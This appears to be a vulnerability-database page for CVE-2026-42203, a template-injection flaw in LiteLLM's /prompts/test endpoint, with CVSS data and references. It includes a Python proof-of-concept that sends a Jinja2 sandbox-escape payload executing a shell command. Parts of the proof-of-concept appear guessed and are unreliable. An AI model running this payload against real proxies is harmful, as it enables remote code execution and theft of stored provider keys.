CVE-2026-42203

Description

LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.80.5 to before version 1.83.7, the POST /prompts/test endpoint accepted user-supplied prompt templates and rendered them without sandboxing. A crafted template could run arbitrary code inside the LiteLLM Proxy process. The endpoint only checks that the caller presents a valid proxy API key, so any authenticated user could reach it. Depending on how the proxy is deployed, this could expose secrets in the process environment (such as provider API keys or database credentials) and allow commands to be run on the host. This issue has been patched in version 1.83.7.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:litellm:litellm:*:*:*:*:*:*:*:* - VULNERABLE

LiteLLM >= 1.80.5, < 1.83.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit for CVE-2026-42203
# Target: LiteLLM < 1.83.7

target_url = "http://target-host:4000/prompts/test"
api_key = "YOUR_VALID_API_KEY" # Needs a valid key

# Payload to execute OS command (e.g., 'id') using template injection
# Assuming Jinja2 or similar template engine context
malicious_template = "{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('whoami').read() }}"

headers = {
    "Authorization": f"Bearer {api_key}",
    "Content-Type": "application/json"
}

data = {
    "prompt_template": malicious_template
}

try:
    response = requests.post(target_url, json=data, headers=headers, verify=False)
    if response.status_code == 200:
        print("[+] Exploit successful! Response:")
        print(response.text)
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[-] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42203
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42203
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42203/
[4] VulDB https://vuldb.com/cve/CVE-2026-42203
[5] https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable
[6] https://github.com/BerriAI/litellm/security/advisories/GHSA-xqmj-j6mv-4862

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42203", "sourceIdentifier": "[email protected]", "published": "2026-05-08T04:16:19.450", "lastModified": "2026-05-13T17:14:58.667", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.80.5 to before version 1.83.7, the POST /prompts/test endpoint accepted user-supplied prompt templates and rendered them without sandboxing. A crafted template could run arbitrary code inside the LiteLLM Proxy process. The endpoint only checks that the caller presents a valid proxy API key, so any authenticated user could reach it. Depending on how the proxy is deployed, this could expose secrets in the process environment (such as provider API keys or database credentials) and allow commands to be run on the host. This issue has been patched in version 1.83.7."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1336"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:litellm:litellm:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.80.5", "versionEndExcluding": "1.83.7", "matchCriteriaId": "DD550A3F-F9E0-44A5-8B25-79EEF0750A39"}]}]}], "references": [{"url": "https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/BerriAI/litellm/security/advisories/GHSA-xqmj-j6mv-4862", "source": "[email protected]", "tags": ["Mitigation", "Patch", "Vendor Advisory"]}]}}